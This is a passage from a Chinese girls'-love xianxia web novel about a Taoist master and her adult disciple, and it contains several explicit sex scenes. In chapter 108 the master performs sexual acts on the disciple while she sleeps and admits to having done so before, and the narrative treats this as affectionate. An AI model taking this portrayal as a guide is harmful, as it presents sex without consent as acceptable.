穆若水赫然抬眼,似是恼怒,眼波流转到最后只有似有若无的嗔怪,傅清微轻轻地吻上了她的唇。 睫羽下坠,穆若水闭上眼睛,身体贴廊柱更紧了。 哪怕傅清微的动作并不激烈。 傅清微对待她的唇像对待一朵花一样,轻轻地抿,慢慢地含,用唇瓣磨着唇瓣,舌头缠着舌头。 穆若水的被动多过主动。 傅清微又开始轻喘催她:“嗯……动一动,师尊,我吃不到了。” 徒儿的话愈发让人脸红了。 穆若水只好配合她动,在各自的营地都搅得天翻地覆。 手里提着的藕和荷叶不知何时滚落在地。 傅清微双手捧着她的脸,偏头越吻越深,她发出深深的喘息。 而穆若水喉咙里也第一次生长出,她在床笫之间才会出现的低吟声,动情之至。 傅清微快喘不过来气了,为了继续听到她被取悦到的声音,短短时间内,换气的技巧突飞猛进,吻技得到了质的提升。 穆若水即使不必呼吸,唇舌间也被攫取得没有喘气的空隙。 道观后院只有两人亲热忘我的声音。 打闹的小猫们悄悄溜出了院子,在门槛并排蹲坐。 良久唇分。 两人不约而同地多闭了一会儿眼睛才睁开,眸底都有浅浅的水光。 穆若水不自在地垂了垂眼,弯腰捡起地上的荷叶和藕,低声说:“我去做饭。” “不必着急。” 傅清微拉过她的手腕,将女人再次带入怀里,这个姿势穆若水会比她矮一点,傅清微顺势低头吻了上来。 一次之后,又来一次的没完没了。 傅清微单手替她擦去唇上可疑的水迹,气息不稳道:“我也去林子里练功了,吃饭叫我。” “嗯。” 傅清微自然转到她耳后,亲了亲她,伏在她耳边,什么也没有说,只有她仍然为她情动的气喘声。 还是很喜欢。 甚至更喜欢。 穆若水拎着新鲜食材进了厨房,对着冰冷的锅灶出神。 傅清微到了结界面前,进去之前用手机发了条微信:【只有你是我的灵丹妙药】 穆若水回忆起半刻钟前的种种,抿了抿唇,说:【练功须静心】 傅清微:【知道了,一会见~】 傅清微:【好喜欢和师尊接吻,回来还想亲】 穆若水开始烧火起灶,自己也没意识到的笑容挂在她的脸上。 知道穆若水比想象中更在乎她的傅清微更粘人了,说话也常常大胆,一天能逮着机会亲她八遍,让穆若水怀疑自己不是和她坦白了,而是和她表白了。 徒儿该不会耳背吧? 虽然她不用吃饭,但是舌头被吃麻了的滋味也没有多好受。 年轻人精力旺盛,穆若水有点承受不住。 “适可而止。”她竖起手掌在身前,阻止刚洗完澡扑过来的傅清微。 “那我今晚想吃师尊的手指。”傅清微趴在她身边换了个要求,补充,“不穿裤子的那种。” “……” 穆若水庆幸自己有先见之明,说:“为师还没有洗澡。” “那你在房间洗嘛。” “我要去温泉泡澡。” “我和你一起去。” 穆若水真怕她和自己一起去,拒绝道:“我自己去。” “做完再去。” “从我身上下去!” 傅清微抬起长腿,从穆若水的腰上下来,离开前还不忘骑着她磨了磨,恋恋不舍道:“好吧,那你早去早回。” 穆若水立刻决定今晚不回来了。 关于她不是人这件事,傅清微接受得比穆若水自己还要快。 穆若水还在担心她会不会因为她的身份对和她亲热心存芥蒂,傅清微已经想着要把她榨干了。 怎么会有这样的人类?! 穆若水疾步匆匆地往后山的温泉赶,满脑子都是傅清微为何这样? 到底谁才不是人? 穆若水凭借缓兵之计混过了一晚上,天快亮时才回来,躺在傅清微的身边,伪装成她半夜就寝的假象。 第二天她又是被傅清微亲醒的。 都怪穆若水在她身边睡得太熟,连她醒了都没有发觉,给了她可乘之机。 “你……” 她一张嘴说话傅清微侵入得更深,穆若水回应她的只有长长短短的鼻音。 “嗯……” 师尊越来越会叫了,也叫得越发自然了。 傅清微无师自通地学会蒙她的眼,她以前被亲惯了,头一次尝到做主动方的妙处,就是可以察觉到对方每一个因你而起的细微的反应,心理满足并不逊色任何。 如果师尊不想受累的话,她也可以弟子服其劳。 她的手轻轻地抚过女人单薄的肩头,即使隔了一层薄薄的真丝布料,也能感受到底下温热的肌肤。 她没有心跳,体温冰冷又如何,每次和她身体纠缠在一起都是滚烫的,连睡在一起也会升温,身体是最诚实的,这几乎是她喜好的指向标。 傅清微温暖的手掌从她的肩膀慢慢抚到胳膊、小臂,手腕的袖口往上滑了一截,刚好露出微凸的腕骨,显而易见的青色经络由此延伸到手背、指尖。 傅清微喜欢这种清瘦有力、修长骨感的手,在她的眼里十分性感。 如果能在她身体里就更好了。 她忍住了此刻去舔她手指的冲动,拇指摩挲着女人手腕凸出的骨节,柔白指尖在上面绕着,点在了女人的手背上。 穆若水的眼前一片黑暗,傅清微的吻时断时续,不知道在开什么小差。 手腕传来痒意,紧接着是手背,她的指腹一点一点地划过,好像那不是手背,而是她作画的画卷。 穆若水不由自主地想瑟缩,曲了曲指节。 傅清微的手覆在她刚刚动过的手指上,轻轻地压住。 明明她没有再做出抚摸之类的动作,穆若水却没有半点放松之感,反而愈发难耐。 她含着傅清微的唇也从被动,变成了主动攫取。 她仰起头,以一种非常缠绵和主动的姿态和傅清微接吻,轻喘和低吟。 傅清微温柔吻着她,又让她慢慢地躺了回去。 她不再试图勾引女人的手,而是和她十指相扣按在她的枕头上,旁边就是她散落的墨发,鸦羽似的衬着雪白的绒枕。 傅清微的唇离开了,湿软的唇瓣迟迟没能再覆上来。 温热的呼吸来到了她的下巴,蜻蜓点水地落下,又轻盈掠过水面。 傅清微吻住了她的脖子。 第107章 咽喉是一个人最脆弱的部位, 再凶猛的野兽也不会将喉骨暴露在外面。 脆弱意味着敏感。 傅清微的唇试探性地压在上面,她的喉咙没有反应,被按在枕边那只十指相扣的手几乎是立刻夹紧了年轻女人的指节。 就在傅清微以为可以再进一步的时候, 她蒙着师尊眼睛的手被拿开, 她的腰肢被圈起来, 使力一带。 天旋地转之后,穆若水的脸出现在了她的上方。 傅清微整个人陷进柔软的被衾里。 她躺0也不是不行, 能给就行。 穆若水问:“你刷牙了吗?” 傅清微心想都亲了这么久, 你再问不是太迟了吗我那有洁癖的好师尊? “刷了。” 穆若水竟然连她刷牙都没听见,足以证明她有多习惯她在身边。 “早起适合运动。”傅清微自下而上盯着她, 醉翁之意不在酒。 “言之有理。” 于是傅清微大清早被师尊丢出去绕着山跑了三圈。 猫跟了半圈就累了, 回来在屋檐下吃观主煮的鸡胸肉,好不美哉。 傅清微跑一圈脸不红气不喘,第二圈穆若水在门口和她打招呼, 傅清微回了句嗨, 手抬到一半就放了下去,第三圈回来扶着门进来的,挣扎着走到藤椅旁, 撑在扶手上,对着正躺着闭目养神的穆若水亲了下去。 穆若水:“……” 她怎么收了个这么好色的徒儿? ……也怪自己长得太好了,天生丽质。 傅清微补充能量完毕,埋在师尊的脖子里休息, 穆若水嫌弃她鬓边有汗,说:“去洗澡。” 再怎么出汗, 身上还是香的。 “好。” 傅清微从浴室出来一身清爽, 径自步入了对面的厨房,从后面把正在灶前给她做早餐的女人抱住了, 双手圈着她纤细的腰,脸贴在她后背。 穆若水叹了口气:“你非得这样?” 傅清微:“人生苦短,看到你的每一分钟我都想和你……” 穆若水听不下去地打断:“行了。休要污我耳朵。” 傅清微比窦娥还冤。 她只是想和她在一起贴贴,她白天一般不发情的好吗? 师尊淫者见淫,还倒打一耙。 谁让她尊师重道呢?傅清微没有反驳,在穆若水的强烈要求下松开了手。 “我去看火。” “出去。” “好的。” 她好爱我,这样都没有对我说滚。 傅清微蹲在院子里和小三花玩冻干游戏,她的手里放着冻干,小三花伸左爪是她爱我,伸右爪是她超爱我。 小三花左爪搭在傅清微手上,傅清微给她换了右爪抬上来。 “伸这只,可以吃两粒。” 三花听不懂,三花只是小猫。 傅清微乐此不疲。 直到叫吃饭她才拍了拍手,两手一摊说:“没啦。” 小三花两只爪都搭上来。 “没白疼你。”傅清微又变出两粒冻干给她,顺便在小狸花的饭碗里也放了几颗。 躲得过初一躲不过十五,观主接连两次温泉遁,第三次她自己也心虚,主要还落了真人颜面,傅清微都不怕,她在这里束手束脚什么? 于是傅清微打完坐睁眼,穆若水仍在她的房间里,正在书桌前看书,换上了就寝的睡衣。 傅清微的心跳声骤烈。 不是做梦吧? 穆若水合上书卷,神色平常道:“天色不早,准备睡觉吧。” 此睡非彼睡,傅清微连忙说:“我去洗漱,很快回来。” 傅清微冲进卫生间,动作迅速但在里面耽搁了不少时间,回来裤脚也沾上些水,不知道多洗了什么。 傅清微言语大胆,可两个人真并肩躺在床上了,她又挺乖巧安静的。 房间里的灯关了,月光照在红木大床前。 傅清微侧着身子,一只手枕在自己的脑袋底下,目不转睛地瞧着她。 她的内心一片平静,如果能长相厮守,她甚至愿意和师尊永远柏拉图。可惜这不是二选一的问题,趁着她的肉体尚且年轻美好,她想在这个年纪多给她一些。 二十岁、三十岁和四十岁,怎么会没有区别呢? 网上说女同容易床死,她宁愿床死在三十岁以前,记忆留下的都是美好。 穆若水要是知道她脑子里在想什么,一定会骂她有病。 “师尊?”傅清微凑过来亲了亲她柔滑的脸颊。 “嗯。” 她想勾引女人,殊不知自己躺在她身边就是最大的勾引。 穆若水也微微侧过身子,伸长手臂将她搂了过来,傅清微枕在她的胸口,满是柔软的芳香。 两人面对面侧躺,穆若水没有低头吻她,但她的手已经开始了。 傅清微以前有不少洗得发旧的长T恤当睡衣,又薄又软,自从和穆若水苗头渐热以后,就换了带纽扣的睡衣,因为女人灵活的指尖一颗颗解开纽扣,她还会每解一颗就撩起一次眼皮看她,自己都不知道这时的眼神有多性感。 但傅清微知道,所以她坚持。 可能下次她想要别的情趣,就会换回薄软的T恤,每一点的变化都鲜明。 穆若水给她留了几颗扣子没解,有她充足发挥的空间,又保留了一丝神秘的整肃禁欲。 穆若水一直没亲她,但她侵略性的眼神仿佛炽热的火星落满她的全身,烫得她几乎想发抖。 更别提她的手从来没闲着。 穆若水很喜欢她,至少在床笫之间她可以坦率地承认喜欢。 所以她观察她的变化,因为自己的每一个动作而不时表情出现空白,那是一种承受不住的过渡。 往往下一秒,她的喉咙里就会生长出绵长悦耳的声音。 穆若水的五指以她喜欢的节奏收束,按揉,撩拨。 她浅浅地亲吻年轻女人的脸颊,不顾她来寻她的唇,从脸颊亲到耳后,但故意漏掉敏感的耳垂。 做饭宜用小火,越久越香。人也是如此。 她的唇自始至终都没有碰到傅清微想要她碰的任何地方,她就紧紧地攀住她的肩,闷哼一声,缴械投降了。 “做得很好。”穆若水在她耳边夸了她一句。 傅清微因为她一句话又难耐地动了动被子底下的一双长腿。 “师尊我……”她喘着未平复的气道。 “你很急吗?”穆若水悠闲反问,“才过去几分钟。” “……” “戒躁戒躁。”穆若水不忘为师本分,教导她道。 “可是我……想你亲我。” “我不是一直在亲你吗?” 穆若水不痛不痒地亲了亲她的额头和面颊,故意为之。 傅清微内心的火苗越烧越旺,按捺不住,凑过去追着她吻,穆若水躲了两次,第三次放任她的唇落在自己唇瓣,傅清微又磨了她好一会儿,她才启唇迎接她的闯入。 舌尖碰到舌尖,尝到彼此甘甜时,傅清微被围住收拢。 女人的两只手都捧着她,肆意妄为。 亲了一会儿以后,傅清微的衣袖挂在了臂弯里,但底下的两粒扣子仍扣着,勉强维持了穿衣服的样子。 幸而没有开灯,傅清微自己看不到如今的景象。 她只能看到女人乌黑的脑袋,一会儿在左边,一会儿在右边。 唇舌打转、含吮。 都带给她难以言喻的滋味,只好挺身抱紧她的脑袋,不住地将自己送上给她。 她五指穿过女人墨色的发丝,梳着,揉着,发质很好,流水似的顺滑。 一个瞬间指节骤然收紧,傅清微的腰塌了下来。 湿漉漉的吻落回了她的脖子和耳后。 傅清微仰着颈,又偏开头,整个人眼神迷离,脸几乎要陷进枕头里,声音轻轻的,像小猫。 穆若水撩开她黏在颈间汗水里的发丝,舌尖卷去微涩的细汗。 她的手温柔地摸着傅清微的头发,让她先缓一会儿。 傅清微睁开朦胧的眼,问:“过去多久了?” “没数。” 穆若水亲亲她的唇,谁有心思去算那些,大约比上次久一点。 傅清微意外地说:“我有点困了。” 穆若水:“?” 傅清微可能是被她之前弄出了条件反射,前菜一道后她就要被下安睡符入睡了,今天连上了两道前菜,第二道又比第一道猛烈,她现在忍不住有点想打哈欠。 傅清微:“真的困了,虽然我不想睡,但是师尊……” 她不受控制地打了个哈欠。 “要不你给我画道醒神符吧?” “……” 穆若水咬牙说:“为师的脸还要不要?” 傅清微:“我不会说出去的,啊!” 傅清微瞬间清醒了。 年轻女人的二十来岁,脆的,嫩的,像春天的笋一样多汁。 傅清微的上身睡衣仍穿在身上,朝她侧着,被摆了会儿,一条腿的足尖勾着女人的小腿。 穆若水说:“不许放下去。” 傅清微含泪点头。 刚刚那一下太突然了,不是膝盖,直接是手上来了。 她哪禁得住这样对待,眼泪当即出来一颗。 穆若水先熟练地给她推拿按揉了一次,这次她没堵住傅清微的唇,听着她慢慢变化的音调。 她和她面面相对,看着她天生苍白的面色一点点染上潮红,断断续续地喊她。 “师尊……我……我……” 声音渐渐破碎不成句。 穆若水指尖一挑,指腹绕着在上面打转,追逐着她。 傅清微的气都短了一截,连眼神都开始涣散。 她俯身亲上傅清微的耳朵,低哑地说:“乖,不要躲。” 傅清微根本不受控地挣扎,穆若水反过来压住她一条腿。 她追逐的速度越来越快,拇指快速按揉着。 傅清微脑子里闪过了很多天马行空的画面,她以前只知道人有走马灯,不知道这时候也会有。她看到草原上九曲十八弯的水带,成群牛羊在河边吃草,夜晚从蓬莱观院子里看到的漫天群星,她一直盯着那条银河看,视线黑了下去,许久以后才亮起来。 摸到自己满脸的眼泪。 罪魁祸首还在吃她的眼泪。 见她醒了,穆若水动作一顿,说:“好多。” 不知道在说眼泪还是别的。 傅清微连脸红都顾不上。 她这回是真的困了,没有醒神符扛不了一点,放任自己睡了过去,把残局交给穆若水收拾。 穆若水收拾了半天,只因傅清微确实热情之至。 她是真的喜欢穆若水,即使睡着了对她的到来也夹道相迎,穆若水又不是很想睡,所以怎么都弄不干净。 傅清微被她师尊弄醒了。 当然,不是正常的法子。 她睁开眼看见她师尊正埋首在她身前忙碌,半梦半醒地手抚了抚女人的脑袋。 直到被她一手制造的海浪淹没,彻底陷入昏睡,打雷都不会吵醒。 这是她的极限,并非穆若水的极限。 清醒的傅清微还需要锻炼。 * “师尊不要!” 傅清微从床上惊醒,睁开眼睛,意识到自己在说什么之后捂住了自己的嘴巴,生怕泄露到屋外。 她醒得有些迟,穆若水已经起了,厨房里有柴火毕剥的燃烧声,屋门大开,傅清微支起身子能一直看到对面忙碌的身影。 师尊总是在忙,白天忙着喂饱她,夜里依然忙着喂饱她。 傅清微都有点吃撑了。 她看着身上已经从里到外换过的睡衣,两条腿不自在地曲了曲,那种不受控的感觉记忆弥新,像搁浅的鱼徒劳在岸上挣扎。 极度的酸胀,从来没有过,潮得一塌糊涂。 她怀疑她以前都是假睡,昨晚才是真睡。 可能离真睡还差最后一点仪式,但女人的感觉主要来自外面,她已经被摸了个彻底,一丝余地也没有了。 天王姥子来了,也得承认她俩的关系,彻底不清白! 吃早餐的时候,傅清微端着碗喝粥,目光时不时地掠过穆若水露在袖子外面的手指。 穆若水默默地垂袖,遮掩白玉似的指节。 傅清微白天还是很正经的,客气地夸了一句:“师尊的手真好看。” 穆若水起身从厨房离开了。 傅清微:“???” 师尊又想什么奇怪的事情了? 穆若水一躲又是一上午,傅清微练完剑回来,田螺观主准时出现在厨房里,端出了午餐。 今天做了一道考验刀工的菜,傅清微顺嘴夸了一句她手巧。 穆若水又在午饭时间一言不发出去找猫玩了。 傅清微终于反应过来。 师尊害羞了。 她可以做,但是傅清微不准提。 提了她就悄悄躲起来,一个人去角落里害羞。 这傅清微不得……多提几句? 她不敢,怕师尊晚上也躲,就不和她一起睡觉了。 午睡、练功、吃饭、练功,一眨眼又来到晚上,当夜没做,习道要修身养性,不可夜夜纵情笙歌。 隔天又做了。 穆若水给睡着的傅清微恢复清爽,觉得这样下去不行。傅清微初尝情爱,一入夜就想和她缠绵,毫无节制,自己身为她的师尊,要担起教导她的责任,不能一味陪她荒唐。 但她如今的自制力可以说完全没有。 灵管局平时催命似的派任务,如今都快一周了,一点动静都没有。 一帮废物点心,干不了一件她称心的事! 翌日。 穆若水问傅清微:“你看看家里断网没有,是不是收不到消息?” 傅清微:“没有啊,我昨天还和甘棠聊天了。”主要是说她吃上国宴了,不涉及细节。 穆若水:“你那科长还活着吗?” 傅清微:“……” 她发了条消息过去,对方回复了个【1】。 “活着。” “魔气都净化完了?” “师尊,你是不是嫌我在山上碍你眼了?”傅清微琢磨过来。 “倒也不是。”穆若水一本正经地说,“我们不可以再这样下去了,有损你的修行。” “哦,昨晚叫你停你却不肯,我说了两次不要了不见你听。” “……” 穆若水淡道:“你那是口是心非,真听你的你又要闹。” 她一手的水能不明白该怎么做吗? “……” 傅清微向她竖了个大拇指。 “那今天我下山找甘棠串个门子,就在她那住一晚。” “串门可以,留宿不行。” “只许师傅放火,不许徒弟点灯。”傅清微唉了一声,神情却很受用。 两人当日进城采购了一批生活用品和食材,傅清微去甘棠家里拜访了一下午,晚上再赶回来。 穆若水已经是一个合格的面无表情的搬运工了。 当夜她先睡了。 傅清微打完坐玩了会儿她的眉毛和鼻子,食指戳了戳女人的唇,偷了会儿香便陷入梦乡。 第二天她们俩先后收到了灵管局的消息。 岁已寒发给穆若水的一封邀请:【慈让真人:局里有一个高层会议,探讨如何彻底解决魔气,也有关于蓬莱观的内容,承蒙不弃,郑重邀请您到会,时间是明天上午九点,灵管局总局五楼会议室】 占英给傅清微的就完全不同了。 占英:【明天有个高层会议,到场的不是局长就是顾问,要不要蹭听?】 傅清微受宠若惊:【我何德何能?】 小虾米直接旁听局长开会?她坐火箭都没这么快。 占英:【会议由我师尊主持,她让我当记录员。应该也邀请观主了,你问问她去不去?】 傅清微:【希望渺茫】 但傅清微挺想去的,举着手机过去询问。 穆若水一向不爱主动参与灵管局的事,多半是要拒绝的。 穆若水正在门口剥莲子,那双巧手一颗颗将白嫩的莲子剥出来,掰开去除莲心,傅清微在旁边多瞧了会儿,不知想到了什么,红着脸问起正事。 穆若水明知故问:“你想见灵管局的谁,脸红成这样?” 傅清微羞恼得跺了一下脚。 穆若水心想真可爱。 傅清微:“除了你,还有谁。你去不去嘛?” 穆若水问:“你想去吗?” 傅清微道:“我想去凑热闹,不知道能不能带家属旁听。占科的岁主任把她安排进去当会议记录员了。” 穆若水说:“过来。” 傅清微走到她跟前,蹲了下来。 穆若水把刚剥好的莲子喂进她嘴里,莲子清甜,又是心上人亲手喂的。 “莲子甜不甜?” “甜。” 穆若水擦了擦手,本来想去拿自己的手机,还得回房,干脆用傅清微的微信语音回道:“你问问钱袋子,本顾问能不能带家属一起进去?不能就不去了。” 松手发送。 傅清微急道:“你怎么把钱袋子的外号说出去了?” 穆若水不以为意:“她敢说我半句不是?” “谁知道她私底下说不说。” “那我就管不着了。”穆若水说,“为师不在乎这些。” “那你在乎什么?” “明天能不能满足你的心愿。” “也算不上心愿啦。”傅清微忽然扭捏道,“师尊把我放在心上我已经很高兴了。” “为师深感不适,下次不要这样说话。”穆若水的小臂已经起鸡皮疙瘩了。 “好的。”傅清微哈哈笑了几声。 占英的消息在几分钟后回过来,估计是请示过岁主任了,她回:【可以的,师父说,真人有绝对的自由】 傅清微正在张嘴接新鲜莲子,看了这段话,说:“灵管局似乎特别看重你。” “毕竟为师天下第一。” 傅清微没好意思提封她记忆的那个人可能比她厉害,都这么多年,说不定人家已经死了。 连傅清微都能看出灵管局对穆若水的态度非同寻常,穆若水自己当然不会一无所觉。 她比傅清微更敏锐一些。 她醒了快一年了,灵管局这么多会议都没邀请过她,偏偏这次邀请她,占英还同时私聊傅清微让她去旁听,哪有这么巧的事?只怕这师徒俩故意给自己师徒下套呢。 傅清微傻傻地上当,真想去看热闹。 灵管局的热闹可不是那么好看的。 但傅清微既然想看,她就可以为她兜底。 徒儿非要斩妖除魔,以天下为己任,她只好陪她去咯。 正好她对这个世界了解得不够深,想让傅清微更好地在风云变幻的人间活下来,她需要主动去获取更多的信息,灵管局是最佳渠道。 而且下了山,傅清微在公众场合会收敛些,最近粘人得她头疼。 穆若水投喂莲子的手到傅清微唇前又收了回来。 傅清微追着她的手指,连莲子和指尖一并含入了口中。 傅清微本能用舌尖勾舔她的指节,含在嘴里吸吮。 噢,天还亮着,那算了。 穆若水逃过一劫。 然而晚上又贴过来了。 “昨晚没做。”傅清微在她的枕边眼巴巴,以为隔天可以。 “明天得早起。” “那就一次。” 穆若水想了想答应了。 傅清微也想了想,在她耳边小声问:“今晚可以在里面吗?” 穆若水足足思考了半分钟,才明白她说的什么意思,瞠目结舌,五颜六色。 幸亏早早地关了灯,傅清微看不到她精彩的表情。 黑夜助长了傅清微的胆色,她久未听到回复,大着胆子又问了一遍:“可以吗?师尊?” 穆若水的脸颊微微发烫,搂着她香软的身子小声回:“不可以。” 傅清微不是非要在里面,单纯好奇:“为什么啊?” “因为……” 穆若水不能说其中一个原因是里面她不会,至于另一个重要原因,她现在不能说。 她的秘密并没有完全暴露给她。 “因为什么?” “先睡觉吧。” 穆若水翻身吻住了她,在外面也弄得到处都是,傅清微神情餮足地睡了过去。 穆若水照例善后,擦拭干净以后,低头在那处亲了亲。 第108章 穆若水第一次尝这处的味道, 十分娇嫩。 先前傅清微不许她碰,她虽有些意动,到底遵从了她的想法。 现下傅清微睡着了, 穆若水一亲之后, 眉梢动了动, 低头又亲了一下。 这次停留了较久的时间,她唇瓣沾上透明水感。 不需要任何的学习, 穆若水本能地探出舌尖, 在她唇缝间来回试探了两次,含住上方不明显的圆珠轻抿。 傅清微在睡梦里软绵绵地嗯了一声。 她的手抓住身下的被衾, 腰肢不自觉轻轻地扭动。 穆若水的脑子跟着也嗡了一下, 等她反应过来,唇瓣已经都是傅清微的味道。 又热又软。 傅清微低低地哼着。 穆若水退回舌尖,控制住自己仅存的意志力, 只浅浅地亲了一下仍在翕动的唇, 直起身来。 今时不同往日,她没有下安睡符,傅清微也不用醒神符, 她不能趁她睡着又做这种事。 她应该清醒地感受这一切。 再说她似乎不愿意自己这么做,虽然她看起来很喜欢。 下次趁她醒着再问问她。 只是她停了,傅清微却好不狼藉,被她吻过的地方愈发湿红, 满是水痕,一张一合地似乎在挽留她。 穆若水长久地闭了一下眼睛。 她不能趁人之危。 一个声音又说:反正也不是第一次趁人之危了, 你还在乎这个? 穆若水内心天人交战, 决定还是尊重傅清微的想法和感受。 她不是个人,偶尔也想做个人。 卫生间的水声响起来, 穆若水拧了条干净的毛巾出来,细致地给傅清微清理。 这次花费了更久的时间,两个人都有责任。 傅清微随便碰她都有反应,穆若水又喜欢随意碰她,她活了两世,第一次有这样的体验,趁傅清微睡着边研究边回味。 不知道折腾了多久,傅清微终于一身干爽地睡去。 穆若水躺下来摸了摸她的头发,又亲了亲,抱着她相拥而眠。 * 傅清微在一片惊悸中醒来。 心脏在剧烈的跳动,牵动着身体最深处的收缩。 傅清微昨夜睡得早,所以今天醒得也早,窗户投进来日月交替的曦光,晨光朦胧里女人精致的脸就睡在她的枕边。 傅清微:“……” 看来一夜一次是不够的,否则怎么会又梦见激烈情事。 不仅梦到了,还有新花样。 她梦到师尊抱着她的腿,给她…… 傅清微想不下去了,梦里她敢做,现实想都不敢想。 偏偏她做的梦体验都无比真实。 傅清微拿过手机看了眼时间,干脆不睡了起来洗澡。 她暗暗摇头。 谁会一边和心上人睡一起一边梦心上人,全天下她独一份儿。 可惜天要亮了,这要是晚上,她现在就脱光了钻进师尊怀里,让她满足自己。 她郁闷地早起冲澡。 穆若水酒酣饭饱地醒过来,在床上还躺了会儿,听见淋浴声停了才起来。 刚好和出来的傅清微四目相对。 傅清微上一秒还在反思:我内心难道真的是个淫荡之人? 下一秒她看到穆若水的脸,一个念头电光火石闪过。 “师尊你昨晚是不是……” “是。”穆若水坦率地承认。 傅清微不吭声了,走近了几步才低声问:“那你为什么不做完?” 害她梦里都不上不下。 “可以吗?”穆若水真心求问。 “下次……可以做完。” 傅清微鼓足勇气青天白日说完这句,飞快地退回了盥洗室,说:“我去洗漱了。” 傅清微接了水,在刷牙。 穆若水的脚步声过来,倚在门边,悠悠地说:“我以为你不愿意被这么对待。” “……” 真的要在这时候讨论这种事吗? 穆若水:“既然你这么说,证明你上次拒绝我是在撒谎。” 傅清微充耳不闻,自顾自刷着牙,不管不顾地脖子红透了。 穆若水:“明明很喜欢,为什么撒谎?” 她在傅清微漱完口以后又追问出这句,傅清微不得不嗡声开口:“我害羞,你满意了吗?” 她嘀嘀咕咕地吐字,堪比蚊子嗡嗡,雪一样的耳颈通红。 穆若水总算扳回一城,阖眼点头说:“满意。” 为了表示对她的嘉奖,穆若水说:“下次我给你舔干净。” 啊啊啊啊啊! 傅清微实在承受不来,背对她落荒而逃。 师尊和她不一样,只要能占据上风,她不分白天黑夜。 有本事今晚就舔! 傅清微只敢在心里回答她。 穆若水早起拥有了一整天的好心情,把昨晚做好的早餐拿出来叮了一下,让傅清微拿在路上吃。 今天要进城,二人又要下山赶路。 傅清微坐进白车的驾驶座里,启动前查看新消息。 占英:【这次会议邱老也会出席】 占英:【之前邱老还想收你为徒呢,有一面之缘,你记不记得?】 傅清微:【记得,三十年前我师尊救过她一命】 占英:【对,她是这么说过】 傅清微把消息给穆若水看,说:“要不要试探一下邱老,看她知道多少?” 穆若水兴致缺缺。 “随缘。” 为了去灵管局开会,穆若水把自己原来的柳木面具找出来了,扣在脸上让傅清微怪怀念的。 第一次下山她就是戴着这张面具来找她,之后就再也没有离开。 傅清微说:“我可以戴一下吗?不行的话就算了。” 不等她说到“算了”两个字,面具已经塞到了她的手里。 “送你也行,到灵管局记得借我戴。” “……” 傅清微双手捧着面具:“我以为这是对师尊很重要的东西。” 穆若水语气随意:“都是外物,与我无甚相干,想要什么拿去。” 傅清微想起她压箱底的那身红衣道袍和锦靴,收好前她还铺开在床上,务必不染一丝尘埃才叠起来。 “那师尊第一次和我见面穿的那身衣服?” “衣服不行!”穆若水不假思索道。 “为什么不行?” “那是……我死时穿的丧服,不吉利。”穆若水沉声说,终于还是撒了谎。 然而借口蹩脚得傅清微一耳朵就能听出来。 什么丧服她那么宝贝? 日夜穿着,爱不释手,让她换下来都费了好大的工夫。 师尊维持着死前的容貌,说明上一世她活到了二十三四岁,说不定有什么旧情人呢。 这就是她旧情人送她的。 傅清微:“师尊不觉得那身衣服像喜服吗?” 穆若水回想:“有吗?” 倒没有第一时间反驳她。 傅清微点头:“我第一眼见到你的时候,觉得挺像的。” 其实她想问的是更深入的问题,比如有没有可能,她上一世和人成过亲。 可一来穆若水全都不记得了;二来她翻旧账翻到上辈子去,拈酸吃醋太过火;三来穆若水连接吻都是后学的,第一次亲吻那么青涩,应该没有亲密的经验,但是她上自己的时候又很会,揉得她魂荡神飞,每每差点死在她手里,不确定是天赋还是因为别的。 穆若水说:“我不记得了。就算……我与人拜过天地成过亲,也与现在的我无关,你不必为此不喜。” 傅清微没问,穆若水却答了。 清楚直接,不遮不掩。 对比之下,显得傅清微不够真诚坦荡。 穆若水:“如果你非要介意,我也没有别的办法。” 傅清微脸色微微一黑:“申请撤回,我不爱听。” 穆若水换了一句:“与其因为无法求证的猜测而自寻烦恼,不如想一想明天吃什么,我给你做。” 傅清微朝她勾了勾手。 穆若水无奈地将脸凑过去。 傅清微在她脸上偷了个香,捧着她的下巴亲到她的唇角,顺着侵入女人的唇齿,汲取甘甜。 穆若水配合地张唇,和她你来我往地互相交换津液。 狭窄的车厢里气温在稳步上升。 傅清微从她唇间退出来,与女人额头相抵,微微气喘道:“从前的事我不想,以后你身边只能有我。” 越来越像互许终身了。 用凡间的话来说就是谈恋爱。 穆若水无可奈何,只能应好。 她今日要是不清楚地答应她,只怕离不开这座山。 傅清微用手机给她打字:【只准和我接吻,也只准和我一个人上床】 穆若水:【把我的眼睛挖了,手剁了送你】 傅清微:【我要你正面回答我】 穆若水:【好,好】 穆若水吐槽她:“有几个做徒弟的做成你这样,把师尊绑在自己身边,谁都不许碰。” “就我一个,师尊也乐在其中不是吗?”傅清微倾身过来,给她扣上副驾驶安全带,身体力行地演示什么叫绑在身边。 “为师不反驳。” 穆若水调整了一下安全带,主动收得更紧。 傅清微又要凑过来亲她,穆若水偏开脸躲了,道:“快开车,一会迟到了。” “就亲一下,灵管局人那么多,求求了。” 穆若水将脸转了回来。 几分钟后,穆若水手背擦了擦自己唇上的水迹,车子终于启动了。 粘人精至少有一天不会随时和她贴贴,穆若水松了口气。 片刻她还是感觉口干,打开中控台的矿泉水喝了几口,滋润喉咙。 傅清微的驾驶技术越发熟练,见她喝水便说我也要,穆若水把开了的矿泉水瓶放她手上。 傅清微单手喝完水还给她,另一只手调低了歌曲的音量,和她聊天。 “师尊,我有没有和你说过我以前常常做一个相同的梦?” “没有。” 傅清微也是聊到喜服才想起来,太久不做梦她都忘了。 “梦的内容我说了你不要生气。” “你先说说看。” 傅清微双手握着方向盘,目视前方,说起来的时候仍然底气不足:“就是从十八岁起,我总是梦到和一个女人拜堂成亲,她盖着红盖头,看不清脸。” “常常是多久?” “隔三差五吧,每天做梦我也吃不消。” “有洞房花烛吗?” “没有。” “实话。” “实话就是没有呀,我是拜了好多次堂才发现是个女的,连红盖头都没揭。” “你告诉我的目的是?” “就是不想有事瞒着你。” “……” 早不说晚不说,偏偏在她说完上一世就算成亲,也和今生的她没关系这段之后说。穆若水要是和她计较梦里这些事,岂不是更小肚鸡肠?明目张胆的双标? “师尊你是不是生气了?” “否。” 气得都蹦单字了。 “不过……”傅清微大喘气,自在地道,“我遇到你之后就没再做这个梦了,而且我第一次在梦里看到她的脸,就是你。” 穆若水的唇角在她反应过来之前,就自作主张地翘了一下。 她语气悠然了些。 “展开说说呢?” “就是那天我进了你的棺材以后,是我最后一次做梦,也是第一次看清那个人的脸,她长得和你一样,但……” “但什么?” “眼睛是红色的,我被吓醒了。” “……”穆若水唇角抿直了些,说,“大概是个噩梦吧。” “师尊,你说我为什么会做这种梦呢?会不会是有小鬼想要害我?还是因为我的潜意识?” 